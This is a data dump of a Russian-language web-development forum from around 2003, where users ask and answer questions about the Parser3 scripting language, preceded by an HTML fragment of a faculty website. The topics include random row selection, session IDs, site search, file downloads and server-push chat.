<link rel=\"stylesheet\" type=\"text/css\" href=\"/styles/menu_link_style.css\">\
<body bgcolor=\"#D2E9F9\">\
<table width=\"100%\" border=\"0\" bgcolor=\"#D2E9F9\" cellspacing=\"1\">\
<tr height=\"120\">\
<td width=\"10%\" align=\"middle\">\
<IMG SRC=\"/images/logo.gif\" ALT=\"Логотип\"> </td>\
<td width=\"60%\" align=\"middle\">\
<IMG SRC=\"/images/fac.gif\" ALT=\"Факультет\"> </td>\
<td width=\"10%\" align=\"middle\">\
<IMG SRC=\"/images/years/2003.gif\" ALT=\"Календарь\">\
<table width=\"75%\" height=20 border=\"1\" bgcolor=\"#D2E9F9\" bordercolor=\"#A2D0F2\" cellspacing=\"0\">\
<tr align=\"middle\">\
<td width=\"80%\">\
<font size=\"-1\" color=\"#0033CC\">\
Февраль\
</font>	</td>\
<td width=\"20%\">\
<font size=\"-1\" color=\"#0033CC\">\
5\
</font>	</td>\
</tr>\
<tr align=\"middle\">\
<td colspan=\"2\" width=\"100%\">\
<font size=\"-1\" color=\"#0033CC\">\
Среда\
</font>	</td>\
</tr>\
</table>\
</td>\
</tr>\
</table>\
<br>\
<hr size=0>\
<table width=\"100%\" border = \"0\" bgcolor=\"#000000\" cellspacing=\"0\">\
<tr bgcolor=\"#D2E9F9\">\
<td width=\"20%\" align=\"middle\">\
<a href=\"/index.html\">Главная</a>\
</td>\
<td width=\"20%\" align=\"middle\">\
<nobr><strong><font color=\"999999\">Новости</font><strong></nobr>\
</td>\
<td width=\"20%\" align=\"middle\">\
<a href=\"/dekanat/rasp.html\">Расписание занятий</a>\
</td>\
<td width=\"20%\" align=\"middle\">\
<a href=\"/dekanat/gbook.html\">Гостевая книга</a>\
</td>\
<td width=\"20%\" align=\"middle\">\
<a href=\"/dekanat/contacts.html\">Контакты</a>\
</td>\
</tr>\
</table>\
<hr size=0>\
<br>\
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\">\
<tr bgcolor=\"#FFFFFF\" height=\"100%\">\
<td valign=\"top\">\
Новости\
</td>\
</tr>\
</table>\
<br>\
<table width=\"100%\" border =\"0\" cellspacing=\"1\">\
<tr>\
<td align=\"left\">\
<font size=\"-3\">\
Powered by Parser3<br>1997-2003\
</font>\
</td>\
<td>\
<table align=\"center\" width=\"40%\" height=20 border=\"1\" bgcolor=\"#FFFFFF\" cellspacing=\"1\">\
<tr align=\"middle\" bgcolor=\"#33CCFF\">\
<td align=\"left\" width=\"80%\">\
<font size=\"-1\" color=\"#0033CC\">\
Посещений\
</font>	</td>\
</tr>\
</table>\
<table align=\"center\" width=\"40%\" height=20 border=\"1\" bgcolor=\"#FFFFFF\" cellspacing=\"1\">\
<tr align=\"middle\" bgcolor=\"#33CCFF\">\
<td align=\"left\" width=\"80%\">\
<font size=\"-1\" color=\"#0033CC\">\
Всего\
</font>	</td>\
<td width=\"20%\" bgcolor=\"#33CCFF\">\
<font size=\"-1\" color=\"#0033CC\">\
325\
</font>	</td>\
</tr>\
</table>	</td>\
<td align=\"right\">\
<font size=\"-3\">\
Designed by<br>Tarutin Andrew, 2003	</font>\
</td>\
</tr>\
</table>\
<body>\
</html>\
"
"12752","Фигню какую-то сморозил.."
"12754","Только в чем тут была проблема?\
Зачем нужно было убирать тэги <style>?"
"12755","вам уже ответили про CSS выше по ветке. Мне отвечать надоело, потому что всю информацию из вас надо как из партизана вытягивать. Да и вообще здесь много partizanen :)"
"12757","ну ты бы хоть основы веб-программирования изучил..\
\
пишешь в одном файле:\
\
^if(def $sendmail){\
^mail:send\
}\
\
а ссылку делаешь такой\
href=\"/?sendmail=address\" ну или что-нибудь подобное. где sendmail - твоя переменная, определяющая действие."
"12758","1. Вы уверены, что у вас верный DOCUMENT_ROOT?\
2. Вы уверены, что у вас в браузере разрешен CSS?\
3. Вы уверены, что поправили CSS код как вам сказали?"
"12759","Как организовать сверку данного(например, из формы) значения со значением в MySQL,\
как получить дату в формате DDMMYY и время HHMMSS?"
"12760","пробую написать класс, который будет, получать два параметра ($rot_table - исходная таблица, $quant - кол-во строк в конечной таблице, которую в итоге выдаст класс), далее класс будет случайно выбирать из исх. табл. $quant строк, и составлять конечную таблицу из этих случайных строк. \
\
[b]проблема: [/b]\
в качестве параметра в конструктор класса приходит таблица, с неизвестной структурой, т.е. названия столбцов не известны.\
Как создать пустую конечную таблицу, для дальнейшего её заполнения?\
\
\
[code]\
#можно ли так?\
@CLASS\
revolver\
\
@init[rot_table;quant]\
$self.rot_table[$rot_table]\
$self.quant($quant)\
$structure[^rot_table.columns[]]\
\
\
@revolver[]\
$result[^table::create{^structure.menu{\\t$structure.column}}]\
[/code]\
\
/t - табуляция\
\
Акулы парсера, подкинте соображения?"
"12761","http://www.mysql.com/documentation/mysql/bychapter/manual_Reference.html#Reference\
\
http://parser.ru/docs/lang/datefields.htm"
"12762","$new_empty[^table::create[$source_table][$.limit(0)]]\
\
кроме этого можно сделать так (работает всюду, где есть table.select):\
$new_empty[^source_table.select(0)]\
\
удачи.\
"
"12763","Как сделать, так что бы, при нахождении в каком-нибудь разделе сайта слово «Главная» было ссылкой, а на главной странице это слово ссылкой не являлось?"
"12765","нельзя так делать: ваш .xsl это не xsl, это даже не XML.\
\
если хотите идей, расскажите задумку, вместе подумаем."
"12766","	Скажите, а как организовать хороший поиск по ключевому слову в HTML-страницах(!) сайта на Парсере? Никак? (Как сделать поиск по базе данных понятно.)\
\
	Скажите, можно ли как-то упростить разработку системы администрирования сайта? Imprimatur бесплатно не распространяется, да? Что так и писать редактирование отдельных таблиц базы данных сайта и др. вручную? Нудно и последовательно?\
"
"12767","Хороший? По HTML-страницам? На parser? Никак. Возьмите Yandex.Site, он прекрасно ищет. Хотя и не HTML-страницам, как вам зачем-то хочется.\
\
Вот-вот. Именно так."
"12768","Хочу сделать систему статистики чисто для души ;)\
Насколько я понимаю, чтобы узнать город/страну нужно сравних первые n цифр ip со значением из списка? Верно ход мыслей идет?\
И где этот список взять можно?\
\
Или вообще я не о том думаю? :)\
Подскажите плиз кто занимался этим..."
"12769","[b]Вот код класса, который сегдня придумал. [/b]\
[code]\
[color=\"red\"]#класс, выбирает из любой таблицы, не зависимо от структуры заданное количество случайных\
#строк. и выдает в результате таблицу, такой же структуры, содержащую заданное количество\
#случайных строк. Я этот класс стал выдумывать, чтобы на сайте сделать примитивную крутилку \
#товаров из каталога.\
#$source_table - исходная таблица\
#$quant - чило случайных строк \
# 2003(с) temach.[/color]\
@CLASS\
revolver\
\
[color=\"red\"]#конструктор класса[/color]\
@init[source_table;quant]\
$self.source_table[$source_table]\
$self.quant($quant)\
\
[color=\"red\"]#таблица с именами столбцов входной таблицы[/color]\
$structure[^source_table.columns[]]\
[color=\"red\"]#создаем хеш с именами столбцов входной таблицы, где ключами будут номера столбцов[/color]\
$fields[^hash::create[]]\
[color=\"red\"]#наполняем хэш $fields[/color]\
^for[i](1;^structure.count[]){\
	^structure.offset[set](^eval($i-1))\
	$fields.$i[$structure.column]\
}\
\
\
@revolver[][$uslovie]\
[color=\"red\"]#переменная выключатель, отрубает цыкл ^while , если становится равна 0[/color]\
$uslovie(1)\
[color=\"red\"]#копируем структуру исходной таблицы (thanx to Misha v.3)[/color]\
$result[^source_table.select(0)]\
^while($uslovie){\
	^source_table.offset[set](^math:random(^source_table.count[]))\
[color=\"red\"]#создаем хеш со значениями столбцов текущей(уже случайной)строки входной таблицы,\
#где ключами будут номера столбцов[/color]\
	$values[^hash::create[]]\
	\
[color=\"red\"]#       #наполняем хэш values[/color]	\
	^for[i](1;^structure.count[]){\
		$values.$i[$source_table.[$fields.$i]]\
	}	\
	\
[color=\"red\"]#       #определяем начальное значение add[/color]	\
	$add[$values.1]\
[color=\"red\"]#       #создаем строку для добавления в конечную таблицу[/color]	\
	^for[i](2;^structure.count[]){\
		$add[$add	$values.$i]\
	}\
	^if(^result.count[] >= $quant){\
[color=\"red\"]#       #останавливаем набор случайных строк в табл. $result[/color]		\
		$uslovie(0) \
	}{\
[color=\"red\"]#       #и наконец-то добавляем нашу строчку в таблицу $result[/color]		\
		^result.append{$add}\
	}\
}\
\
\
\
[color=\"red\"]# к примеру исходная таблица (c)Egr.\
#$items[^table::create{id	parent_id	dir	title\
#1	0	hardware	Железо\
#11	1	computers	Компьютеры\
#12	1	printers	Принтеры\
#121	12	laser	Лазерные\
#122	12	ink	Струйные\
#2	0	software	Программное обеспечение\
#21	2	os	Операционные системы\
#22	2	editors	Текстовые редакторы\
#3	0	news	Новости}]\
\
#создаем объект и получаем таблицу\
#$object[^revolver::init[$items;5]]\
#$tbl[^object.revolver[]]\
\
#что можно усовершенствовать(что пришло на ум):\
#1.проверять таблицу результатов чтобы не было совпадений\
#  из наблюдений - чем меньше строк в исходной таблице,\
#  тем больше вероятнсть появления строк близнецов\
#  в таблице результатов\
#2.сделать так, чтобы по умолчанию отбиралась одна строчка,\
#  т.е. если параметр $quant не определен[/color]\
[/code]"
"12771","1. зачем на каждый чих/пук создавать класс? в этом случае фактически происходит оперирование двумя переменными, которые можно запросто передавать параметрами единственному _методу_. Классы стоит изобретать тогда, когда есть набор разнородных данных, и нужны механизмы, которые делают с ними что-то. и таких наборов данных/методов нужно несколько.\
\
2. посмотри на этот код (писал бегло, мог ошибиться), мне кажется что так попроще будет:\
[code]\
@revolver[][added;rand_code;count]\
$result[^source_table.select(0)]\
\
# хеш, куда пишем то, что уже добавили в результат.\
# нужно, чтобы не было дублирования\
$added[^hash::create[]]\
\
# $count засовываю в переменную, чтобы не доставать \
# в процессе выполнения $rand_code каждый раз ее из $source_table\
$count(^source_table.count[])\
\
# код, который вычисляет нам в цикле случайную строку\
$rand_code{^eval(^math:random($count)+1)}\
^while($quant > ^result.count[]){\
	$rand($rand_code)\
	^while($added.[$rand]){$rand($rand_code)}\
	^result.join[^source_table.select(^source_table.line[] == $rand))]\
	^added.add[$.$rand(1)]\
}\
#end @revolver[]\
[/code]\
\
если нужны комментарии - обращайся, но по моему тут все просто :)"
"12772","Сравнивая цифры до первой точки можно в лучшем случае узнать континент.\
\
Сравнивать надо n первых битов адреса. Число n зависит от размера сети, например для сети 123.45.67.0/24 (что эквивалентно 123.45.67.0/255.255.255.0) оно равно 24. База по Европе и некоторым другим странам: http://www.filesearch.ru/cgi-bin/s?q=ripe.db.gz&t=f&d=&x=0&y=0"
"12773","Хм... допустим, хотим реализовать механизм сессий. Нужно в куки сложить id... вот как бы этот самый id наиболее уникальным сгенерить?"
"12774","[code]\
<article> \
    <author id=\"1\" /> \
    <title>Урок 6. Работаем с XML</title> \
[/code]\
[quote]\
Как вы заметили, тег <author … /> никак не был определен, как следствие, информация об авторе статьи не появилась в выходном HTML. Со временем, когда вы решите где и как будете хранить и показывать данные об авторах, достаточно будет дополнить шаблон - исправлять данные статей не потребуется. \
[/quote]\
\
Есть таблица, в которую вынесены все авторы. А в какой момент надо делать select из этой таблицы? и как \"дополнить шаблон\"? Я, не долго думая, сделал что-то типа такого (пишу по памяти):\
[code]\
#xsl файл\
$aut[^table::sql{SELECT * FROM authlist WHERE id=$id}]\
<xsl:variable name=\"auth_name\">$aut.name</xsl:variable>\
#теперь, по ходу .xsl шаблона  оперируем ^$auth_name\
[/code]\
а как я это применяю я уже писал.\
"
"12775","Здарова всем. У меня такой код в auto.p\
----\
$n[^table::load[data/links.cfg]]\
\
<table width=\"100%\" cellpadding=\"2\" cellspacing=\"1\" bgcolor=\"#ffffff\" class=\"n\">\
 <tr>\
^n.menu{\
 <td bgcolor=\"#DEDEDE\"><a href=\"$n.uri\" class=\"nav\">$n.name</a></td>\
}\
 </tr>\
</table>\
-----\
так вот у меня links.cfg 6 ссылок а мне надо чтобы 5 ссылок и 6 опускалась вниз.. Как зделать...????\
------------\
Форум по созданию сайтов \
http://talk.mail.ru/forum/talk.ru.site_create"
"12776","Используй crypt\
Возьми какое-нибудь слово в 8 букв и криптуй его.\
Результат крипта можешь смело использовать в качестве сессионного номера, если тебе кажется что такой идетификатор слишком короткий, сложи результат работы двух разных слов, или трех.\
\
В том что идентификатор будет уникальным можешь убедиться сам:\
http://www.spearance.ru/parser3/makepass/\
Вбей 2 раза одинаковый пароль и логин и увидишь что идентификатор получается разный, за исключением метода криптования, но его в принципе можно отрезать."
"12777","[code]\
^if($request:uri ne \"/\" || $request:uri ne \"/index.html\"){\
<a href=\"\">Главная</a>\
}\
[/code]\
\
"
"12779","Чего-то я какую-то ерунду написал. Откуда ты возмёшь id на этапе ^process[] кода? Вынеси базу во внешний xml файл и xpath..\
"
"12780","1.\
не столько во «внешний», сколько: динамически создать нужный XML, и отдать его под transform по статическому шаблону.\
\
в p2 был оператор xmlsql, я тут тоже подумывал, но красиво не придумал. возможно, предложите что удобное?\
\
2.\
а до динамических шаблонов когда доберётесь, тогда обсудим, пока задача того не требует.\
\
"
"12781","мы занимались этим, составили для себя базу.\
брали ripe и ripn базы и прогоняли через ворох regex'ов, получили то что вы описываете [там даже больше полезной информации].\
\
я не слышал об удобном готовом к употреблению."
"12782","$n[^table::load[data/links.cfg]]\
\
<table width=\"100%\" cellpadding=\"2\" cellspacing=\"1\" bgcolor=\"#ffffff\" class=\"n\">\
<tr>\
^n.menu{\
^if(то что вам надо){\
<td bgcolor=\"#DEDEDE\"><a href=\"$n.uri\" class=\"nav\">$n.name</a></td>\
}\
}\
</tr>\
<tr>\
^n.menu{\
^if(то что вам надо поставить снизу){\
<td colspan=5 bgcolor=\"#DEDEDE\"><a href=\"$n.uri\" class=\"nav\">$n.name</a></td>\
}\
}\
</tr>\
</table>"
"12783","У меня IM все гифы делает огромными. В доке что-то невнятное написано про то, что должна быть разрешена LZW компрессия. Похоже он непакованные гифы делает, если такое возможно."
"12784","вполне возможно. из-за кретинских лизинзионных проблем с LZW.\
из GD, например, вообще выкинули поддержку GIF.\
\
переходите на PNG.\
parser тоже скоро будет PNG вместо GIF."
"12785","Вы знаете что такое поиск по файлам. Я как-то в далекие времена решил этим заняться и больше как-то не тянет. Нет если искать надо по 3-4 файлам, то проблем не будет больших, но если у вас страниц 20 на сайте и все они забиты текстовой информацией по самый край, то процесс поиска будет долго думать, а потом просто сдохнет и сё."
"12787","Вы извените что я с может быть не оправданой критикой, но вым не кажется что это просто промежуточная технология не чего толком не добавляющая в логику. Я долго читал книгу по XSLT, но в конце концов бросил это дело посчитав это обычным велосипедом для любителей более сложной, даже не так - усложненной езды.\
\
Мне может быть хоть кто-то объяснить чем так хорош этот xml, даже не чем хорош, а лично для меня чем проще достигнуто решение, тем лучше решина проблема. Все говорят, что он что-то упращает, но по моему он только добавляет код и тормозит процесс выполнения.\
\
Вы мне можете привести задачу, которую с xml решить проще чем без xml?\
\
За ранее спасибо."
"12788","Для отображения содержимого каталога использую\
код из документации, но он показывает файлы с расширением ZIP \
[code]\
$list[^file:list[/;\\.zip^$]] \
^list.menu{ \
   $list.name<br> \
} \
\
[/code]\
если поменять маску то можно выводит любые файлы, а как сделать чтоб выводились только вложенные каталоги\
"
"12789","Я тоже искал как и нашел только stat, но он такого показать не может, как быть?"
"12790","у меня все вложенные каталоги начинаются с одинаково.\
К примеру \
dir1\
dir2\
dir3\
...\
[code]\
поэтому я сделал так\
$list[^file:list[/;dir]] \
^list.menu{ \
   $list.name<br> \
} \
[/code]\
\
Работает."
"12791","оно не актуально скажем если вы пишете систему администрирования сайта."
"12792","Скажите пожалуйста, готовится ли какая-нибудь книга по парсеру?\
А если готовится, то когда она выйдет?"
"12793","я не создатель, но отвечу - пишу я, лет через 5 напишу (может быть). А пока смотри документацию, тоже неплохая книга, в принципе, или мало?"
"12794","and the common standart. Плохой стандарт лучше его отсутствия.\
\
ЗЫ: В дискуссию не вступаю."
"12795","Документация - вещь, конечно, хорошая, но ведь приятно иногда и книжечку вметро полистать. Подумать о добром, вечном..."
"12796","Можно ли как-нибудь сделать так, чтобы при клике на ссылку файл не открывался, а предлагалось загрузить его. Ну, там, например, файлы doc, zip, pdf и др."
"12799","Качайте, печатайте и вперед с песнями. Я все распечатал, взял электродрель, просверлил в лисах дырки, скрепил их проволкой, получилась книжка. Дешево и сердито :)"
"12800","Есть форма поиска с полями:\
поле для поиска,\
строка,\
радиогруп: искать всю строку или любое из слов,\
условие (равно, включает итд)\
\
\
Если всю строку целиком, то никаких проблем. Все ищется и находится.\
Если же любое из слов, то возникают вот такие пироги:\
\
\
Если вводим ОДНО слово и условие = \"включает\", то получаем вот такой запрос:\
select * from table where ((UPPER(term) like '%ИВАНОВ%'))\
\
\
Если вводить несколько слов, то получается вот такой запрос:\
select * from table where ((UPPER(term) like '%ИВАНОВ%') or (UPPER(term) like '%ПЕТРОВ%'))\
\
и ничего не находится. А если взять этот запрос и засунуть его в SQL*Plus, то результаты есть.\
\
Второй день уже клина ловлю. Подскажите, если можете."
"12801","а ещё можно doctype поменять нужным типам файлов на octet-stream, скажем в .htaccess'е нужной директории..."
"12802","можно и поменять: на application/octet-stream\
однако MSIE славится своим игнорированием content-type, и вполне может и в этот раз кирпичом.\
\
вы проверяли перед тем, как посоветовать?"
"12803","да, спасибо. всё работает"
"12804","референс + идея/задача + мозги = вот и все\
\
а книжка последнюю часть заменяет.\
\
Хотя, я не настаиваю - каждый двигается своими способами."
"12805","не проверял, каюсь, но по логике должно работать. Что-то вроде:\
[code]AddType application/octet-stream doc[/code]\
в .htaccess'е...\
\
А что IE может проигнорировать content-type, это для меня новое, спасибо за замечание. Просто мне показалось, что \"фича\" с response:download реализована именно через посылку браузеру fake-заголовка. Стало интересно, что же это за таинственный [i]флаг, который браузер воспринимает как «Предложить пользователю сохранить файл на диске».[/i] "
"12807","я не поленился проверить: MSIE подтвердил свою плохую репутацию:\
\
спокойно проигнорировал content-type: application/octet-stream,\
благополучно открыл в своём окне word :)\
\
про флаг можно почитать в исходниках:\
http://parser.ru/docs/src/classRequest.htm#c11"
"12808","да действительно, не стоит делать из этого класс, лучше метод.\
че-то я не понял, юзал твой код, близнецы всё равно выскакивают.\
\
я так понял что в хэше $added ключи у нас номера случайных $rand  строчек, а значения всех ключей 1. и проверка смотрит есть ли уже такой ключ.\
\
 тогда по идее если в $source_table всего три строки, и $quant равен 3, то в $result длжны быть эти же три строки в произвольном поредке. а если $quant > $count то тогда по идее вся эта метода вообще должна зацикливотся.\
\
может я че-то не правильно понял, не опытный я ещё.\
\
да ещё, random может работать, если минимум $count=3\
[code]\
@revolver[source_table;quant][added;rand_code;count]\
\
# $count засовываю в переменную, чтобы не доставать \
# в процессе выполнения $rand_code каждый раз ее из $source_table\
$count(^source_table.count[])\
^if($count <= 3){\
	$result[]\
}{\
	$result[^source_table.select(0)]\
\
#	# хеш, куда пишем то, что уже добавили в результат.\
#	# нужно, чтобы не было дублирования\
	$added[^hash::create[]]\
	\
#	# код, который вычисляет нам в цикле случайную строку\
	$rand_code{^eval(^math:random($count)+1)}\
	^while($quant > ^result.count[]){\
		$rand($rand_code)\
		^while($added.[$rand]){$rand($rand_code)}\
		^result.join[^source_table.select(^source_table.line[] == $rand))]\
		^added.add[$.$rand(1)]\
	}\
}\
#end @revolver[]\
[/code]\
"
"12813","но я и не говорил, что это полностью провереный и рабочий код. возможно есть какие-то баги (я правда их не вижу).\
\
проверь что выдает твое rand. раньше (не помню когда, но уже давно) в нем был баг. rand($n) должен выдавать значения от 0 по $n-1 включительно.\
\
мысли...\
1. count сравнивать с 3 - глупость, если уж сравнивать, то с ^source_table.count[]\
\
2. даже если по каким-то причинам ты не хочешь ничего делать, не надо возвращать $result[] - пустую строку в методе, который обычно возвращает таблицу. или ^throw[] если считаешь, что это фатально, и что тот, кто будет пользовать метод должен сам его поймать и не допустить, или пустую таблицу (т.е. .select(0) в самое начало, чтобы в $result была таблица)\
\
3. про хеш $added - сюдя я просто добавляю записи, ключами которых являются номера строк исходной таблицы, которые я только что добавил к результату, а значением - 1. делаю я это для того, чтобы просто (хеш лукапом) проверять, добавлял-ли я уже такую строку или нет.\
\
4. про твой код, который ты писал первый раз: ты нехорошо обращался со столбцами. хеш не гарантирует порядка, т.е. у тебя во входящей таблице и в результирующей столбцы запросто могли не совпадать по номерам."
"12814","Вы издеваетесь? Непроще ли сразу посылать на вывод все, без построения дерева?"
"12815","А можно как-нибудь глянуть эту базу?"
"12816","А что это такое?"
"12817","вот если кратко.\
http://www.raleigh.ru/XML/2001/10points.php\
"
"12819","всему нахожу альтернативу, скажите в чем xml незаменим?"
"12820","Побреем ^remove[] бритвой Оккама:\
\
[code]\
@delete[login] Удалить юзера\
^if(^passwd.locate[login;$login]){\
        $passwd[^remove[$passwd;^passwd.line[];1]]\
}\
[/code]\
\
==>\
\
[code]\
@delete[login] Удалить юзера\
$passwd[^passwd.select($passwd.login ne $login)]\
[/code]"
"12821","все супер, только если $quant > ^source_table.count[] то происходит ошибка зацыкливания\
[code]\
endless loop detected\
while\
\
g:/www/html/class/catalog.p(948)\
exception.type=parser.runtime \
[/code]\
\
я сделал так\
[code]\
@revolver[source_table;quant][added;rand_code;count]\
# $count засовываю в переменную, чтобы не доставать \
# в процессе выполнения $rand_code каждый раз ее из $source_table\
$count(^source_table.count[])\
\
^if($quant){\
	^if($quant > $count){\
		$quant($count)\
	}\
}{\
	$quant(1)\
}\
$result[^source_table.select(0)]\
\
## хеш, куда пишем то, что уже добавили в результат.\
## нужно, чтобы не было дублирования\
$added[^hash::create[]]\
\
## код, который вычисляет нам в цикле случайную строку\
$rand_code{^eval(^math:random($count)+1)}\
^while($quant > ^result.count[]){\
	$rand($rand_code)\
	^while($added.[$rand]){$rand($rand_code)}\
	^result.join[^source_table.select(^source_table.line[] == $rand))]\
	^source_table.offset[set](0)\
	^added.add[$.$rand(1)]\
}\
#end @revolver[]\
[/code]\
\
а по первому варианту, насчет того что хэш не гарантирует порядка:\
то там ведь привязка в хэше была к номеру строки в таблице $structure, так же с значениями.\
\
хотя все равно в твоем примере это все проще."
"12822","Любимый мой, что такое Yandex.Site? www.site.yandex.ru? Почему речь похожа на программу на Си? Вы что не читали последние статьи Лебедева? (Вот здесь можно найти http://www.artlebedev.ru/kovodstvo/paragraphs/) Тогда нормальным кажется прилагать руководство пользователя к письму. \
\
Уточните что такое Yandex.Site?\
"
"12823","а то, что происходило зацикливание я знал. я писал пример как таскать строки в произвольном порядке, а не полностью работающий кусок кода на все случаи жизни :)\
\
и, если уж проверять входящие параметры, то надо проверять и это\
\
1. является-ли таблицей первый аргумент\
2. есть там вообще записи-то? (а то мож таблица но нет ничего). \
\
для этого можно применить такое: ^if($source_table is \"table\" && $source_table){ все супер }{ че-то не так }\
но... тут конечно получается простая проверка, однако мы не может на выход выплюнуть пустую исходную таблицу (если это таки таблица). т.е. надо 2 if-а."
"12825","поищите это на Яндексе, что-то мне говорит что первая же ссылка будет ваша...  ;-)"
"12829","[code]\
$n[^table::load[data/links.cfg]]\
\
<table width=100%>\
<tr>\
^n.menu{\
<td><a href=\"$n.uri\">$n.name</a></td>\
[b]^if(^n.line[]==5){<tr>}[/b]\
}\
</tr>\
</table>\
[/code]"
"12833","В пресс релизе у Лебедева)))\
\
Парсера какк \"птичку\" ^ кормить будут?)\
+\
\
«Птицы — наши друзья» ))))"
"12834","Бедные Лисы ;-)"
"12835","Спасибо тебе Александр."
"12836","написать такую весчь???\
\
Чат, но какой! Нужно чтоб страничка с сообщениями обновлялась раз в 10-15 мин. А до этого времени грузилась и грузилась и появлялись бы новые сообщения. Как на http://sand.adv.ru/\
\
Или при помощи чего такое можно провернуть??? И как?\
\
Или на худой конец напишите как это делается."
"12839","$form не определён, куки тоже.. Как можно  в auto[] передать sessionid?"
"12840","Вот код:\
[code]\
$banner[^table::sql{select * from banners}]\
^banner.offset(^math:random($banner))\
<a href=\"$banner.link\"><img src=\"$banner.image\"></a>\
^void:sql{update reklama set today='^eval($banner.today+1)' where id='$banner.id'}\
[/code]\
Стоит на каждой странице. Т.е. при каждой загрузке вызывается случайный баннер. При каждой загрузке я обновляю в базе количество его показов. Вроде правильно все, НО:\
Значения прибавляются не на 1, как написано, а на 2, как будто страница 2 раза грузиться.\
\
Никак не пойму чем может быть причина. Один на отдельной странице работает все ОК, а целиком вместе со всем - такая канитель. Под циклы, меню не попадает...\
\
id уникальные."
"12841","Берешь и в @main вызываешь что-нть типа\
[code]\
USE\
/e/session.p\
\
@main[]\
^session:init[]\
[/code]"
"12842","Что в логах сервера?"
"12843","http://www.carver.ru/club/chat/"
"12844","Explanation of terms: Server push and Client pull\
\
Most chats use client pull to update the text. The browser (client) reloads the text frame every some seconds, mostly using the meta refresh tag. The disadvantages: you can see the new texts only after the next refresh, unnecessary usage of server resources due to often connection establishment and unnecessary traffic (old messages must be also transfered). Besides, a regular refresh of a frame is just disturbing.\
\
It seems that there are two things called server push according to HTML chats. One of them is a technology only supported by Netscape browsers up to now. It is not the technology GTChat uses. Instead GTChat uses the feature of all popuplar browsers, that webpages are displayed even before they are completely transfered. The chat does not close the connection but send the text line after line as soon the users write it. Therefore the time delay and traffic are minimal.\
\
There are some disadvantages as well. For an HTTP connection you need a perl process on the server. If the server has a limit for script execution time this process is killed and the user must log in again.\
\
Another problem are proxy servers, that cannot work with permanent connections. In Germany those are mostly proxy servers of T-Online which fortunately are not mandatory for T-Online users. But for users who must use proxy servers of this kind GTChat provides a client pull mode (you have to select \"safe mode\" when you log in). \
\
цитата с сайта:http://www.gtchat.de/main_en.html\
\
Александр, возможно ли с помощью организовать эту самую пуш технологию?\
Если да, то намекните как? Ну можно конечно и в подробностях расписать:)"
"12846","собирать из исходников. На комбелге вроде даже не x86 серверы а Sparc, так что надо админов просить ихних."
"12849","В URL http://www.yandex.ru/yandsearch?text=yandex.site что подставить вместо \"yandex.site\", адрес моей странице на Яндексе? Я имею ввиду сайт не на Яндексе. Допустим я пишу сайт для торговой компании с доменом второго уровня состоящий из 55 страниц. В базе данных хранятся только новости, прайс-лист. Поиск по HTML-страницам, согласитесь, был бы весьма уместен. И заказчик больше заплатит при поиске. Так вот какие есть варианты организации поиска по этим 55 страницам по ключевому слову при условии написании сайта на Парсер 3? \
\
Господа, я жду ответ эксперта. Нет у меня денег на интернет выслушивать мнения таких же как и я. Мнение эксперта можно? Один раз и исчерпывающее весь вопрос такого поиска? Если нет, то как можно, может есть какие-то варианты хорошие, которые мне не известны? Я пишу, рассчитывая на экспертную информацию (причем бесплатную, спасибо Лебедеву)."
"12850","Знаете как устроен протокол HTTP? Запрос -- ответ. И без эмоций."
"12851","OSTYPE=solaris\
MACHTYPE=sparc\
"
"12852","собирался как обычно.\
замечено, что в выложенных исходниках нехорошие Makefiles, так что возьмите http://parser.ru/f/1/download/src/parser-3.0.HEAD.tar.gz"
"12853","Наберите в адресной строке обозревателя сети Интернет http://company.yandex.ru/programs/site/docs/ysite.html и *почитайте*!\
\
\
"
"12854","^if($request:uri ne \"/\" && $request:uri ne \"/index.html\"){\
<a href=\"\">Главная</a>\
}"
"12855","И зачем было подключать CSS и разводить такую дискуссию, если везде в коде стоит font, bgcolor и т.п.?"
"12859","вы спросили что такое Yandex.Site и где его взять, я предложил поискать его на Яндексе. Вот сейчас сам попробовал, ввёл запрос \"yandex site\", и первая же ссылка:\
1. [url=\"http://company.yandex.ru/programs/site/\"]Описание Яndex.Site[/url]\
Яndex.Site - программа для поиска по сайту. Скачайте бесплатную версию!\
\
а ещё можно поискать на Google, скажем \"RiSearch\" или \"mnoGoSearch\".\
Знаете как устроены поисковые системы? Запрос -- ответ. Без эмоций. ;-)"
"12862","Вообще-то в разделе \"хостинги\" написано..."
"12863","Тут тоже написано про второй!\
http://www.350mb.ru/parser\
\
А меня третий калышит!!!   :о)\
\
\
\
"
"12864","Ставлю пиво тому, кто покажет мне слова про второй парсер в [url=http://www.parser.ru/hosters/350mb.ru/1/]описании[/url]"
"12865","Использование технологии Parser \
\
На нашем оборудовании успешно функционируют все версии технологии Parser. По поводу технических аспектов установки и использования этого ПО, пожалуйста, связывайтесь с разработчиком. В качестве рабочего примера, мы предлагаем вам 2-ую версию.\
\
Для установки Parser 2, пожалуйста, скопируйте себе на виртуальный сервер следующий контент:\
\
Файл parser2 - размеcтите в своей директории /cgi-bin с правами доступа (permissions) 755.\
Файл htaccess - скопируйте и вставьте содержимое этого файла в ваш файл .htaccess.\
\
Подсказка: скрытые файлы (например .htaccess) могут быть не видны в обычных FTP-клиентах - воспользуйтесь Панелью Управления (Виртуальный Сервер -> Управление Файлами) для работы с ними.\
\
Пример использования технологии - календарь.\
\
Parser-технология является продуктом студии А.Лебедева. \
\
\"Балтика\" будет в самый раз!!!"
"12866","Я даже ссылку указал, где [b]надо[/b] читать.\
\
Да, я еще вчера на заборе возле Беларусского видел..."
"12867","@arr[]\
$image[^image::measure[^file:find[arr_on.gif]{/images/arr_on.gif}]]\
\
# скажите мне, это \"правомерно\"? \
Или быть побитым камнями :)?\
"
"12868","уверен, вы где-то устроили цикл, о котором забыли, но, по счастью, это легко проверить: \
\
добавьте такой кусочек, и увидите, как он вызывается [b]второй[/b] раз:\
[code]\
^if($twice){^throw[debug;twice]}\
$twice(1)\
[/code]\
\
увидите и stack trace, и стукните себя по лбу ;)"
"12870","<nobr>^arr[] $sections.name</nobr>\
\
Но далее по тексту /^arr[]/ почему-то ничего не даёт \
:(\
Это раз, а два, это то, что мне надо /^arr[]/ разместить перед /$sections.name/ в html коде для выполнения задуманного. И как мне пню это сделать?\
Не писать же:\
...<nobr>^arr[] $sections.name</nobr>... :("
"12871","Строка:\
<nobr>^arr[] $sections.name</nobr>\
в самом начале предыдущего постинга случайна.\
\"Но далее по тексту...\" Относиться к первому постингу. Это чтобы путаницы не возникло. "
"12872","1. ^arr[] - это ВЫЗОВ твоего метода.\
2. твой метод создает ОБЪЕКТ типа image и помещает его в переменную $image\
